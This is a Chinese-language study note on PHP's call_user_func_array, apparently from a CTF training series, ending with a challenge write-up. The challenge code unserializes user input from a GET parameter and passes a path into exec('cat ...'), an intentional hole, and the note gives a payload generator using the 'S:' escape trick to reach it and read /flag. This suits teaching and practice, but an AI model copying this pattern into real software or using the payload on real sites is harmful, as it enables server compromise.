考点5:回调函数call_user_func_array
<aside> 💡
call_user_func_array()函数介绍
</aside>
说明:call_user_func_array ( callable $callback , array $param_arr )
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。
注意:
call_user_func_array 与 call_user_func 这两个函数基本上是类似的,只是在调用上传递参数时存在一些差异。
**函数call_user_func_array 传递的第二个参数必须是数组;
函数call_user_func 传递的第二个参数可能是数组,如果是多个参数的话,还是需要以列表的形式列出。
call_user_func ( callback $function [,mixed $parameter [, mixed $...]] )**
<aside> 💡
使用案例
</aside>
**1)普通使用:
function a($b, $c) {
echo $b;
echo $c;
}
call_user_func_array('a', array("111", "222"));
//输出 111 222
2)调用类内部的方法:
Class ClassA {
function bc($b, $c) {
$bc = $b + $c;
echo $bc;
}
}
call_user_func_array(array('ClassA','bc'), array("111", "222"));
//输出 333
3)支持引用传递:
function a(&$b) {
$b++;
}
$c = 1;
call_user_func_array('a', array(&$c));
echo $c; //输出 2**
<aside> 💡
C T F例题
</aside>
<?php
class home
{
private $method;
private $args;
function __construct($method, $args)
{
$this->method = $method;
$this->args = $args;
}
function __destruct()
{
if (in_array($this->method, array("mysys"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function mysys($path)
{
print_r(base64_encode(exec("cat $path")));
}
function waf($str)
{
if (strlen($str) > 8) {
die("No");
}
return $str;
}
function __wakeup()
{
$num = 0;
foreach ($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
$num += 1;
if ($num > 2) {
die("No");
}
}
}
}
if ($_GET['path']) {
$path = @$_GET['path'];
unserialize($path);
} else {
highlight_file(__FILE__);
}
?>
代码分析:
- 传入字符串,然后直接unserialize字符串
- 反序列化字符串后,自动触发wakeup方法,wakeup方法调用了waf方法。分析过后对我们没什么限制
- 我们需要的是进入mysys方法,让他触发exec,然后将path变成flag就可以读取flag
答案思路:
- 所以当我们控制$this->method为mysys就可以调用mysys方法。
- 再控制$this->args为flag就可以把flag当成函数的参数传入(注意此时回调参数需要数组的形式)
- 同时这里也使用了私有属性,按照unserialize4考点就可以绕过。
<aside> 💡
payload:
</aside>
<?php
class home
{
private $method='mysys';
private $args=['/flag'];
}
$o=new home();
$payload=serialize($o);
$payload=str_replace(chr(0), '\\00', $payload);
$payload=str_replace('s:','S:', $payload);
echo($payload);
?>